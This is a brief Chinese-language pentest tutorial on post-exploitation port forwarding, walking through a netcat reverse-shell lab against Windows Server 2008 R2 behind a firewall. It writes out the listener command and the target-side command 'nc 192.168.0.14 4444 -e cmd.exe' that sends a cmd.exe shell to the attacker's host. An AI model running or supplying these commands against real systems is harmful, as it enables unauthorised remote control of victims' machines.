后渗透——内网转发之反弹shell

内网转发目的
渗透测试中，我们往往会面对十分复杂的内网环境。比如最常用的防火墙，它会限制特定端口的数据包出入。

内网转发三种形式

在攻击者机器，获取受害者机器的命令行

受害者服务器的某一个端口不能访问，我们通过反弹端口的形式，让攻击者能够访问该端口 也叫端口转发

将攻击者的流量，转发到内网其他服务器上

反弹shell实验环境：

• 瑞士军刀nc
• Windows Server 2008 R2 x64

反弹shell环境配置：

将nc上传到一个文件夹，假设此刻已拿到网站shell

防火墙为开启状态

查看本机IP及开放端口


80能访问但是3389远程桌面访问不了，环境配置完成开始实验

反弹shell模拟实验：

查看本机IP

进入到nc所在目录，输入>nc.exe -lvvp 4444开始监听

在目标机上输入nc 192.168.0.14 4444 -e cmd.exe反弹shell命令行

等待一会本机成功拿到shell

输入exit退出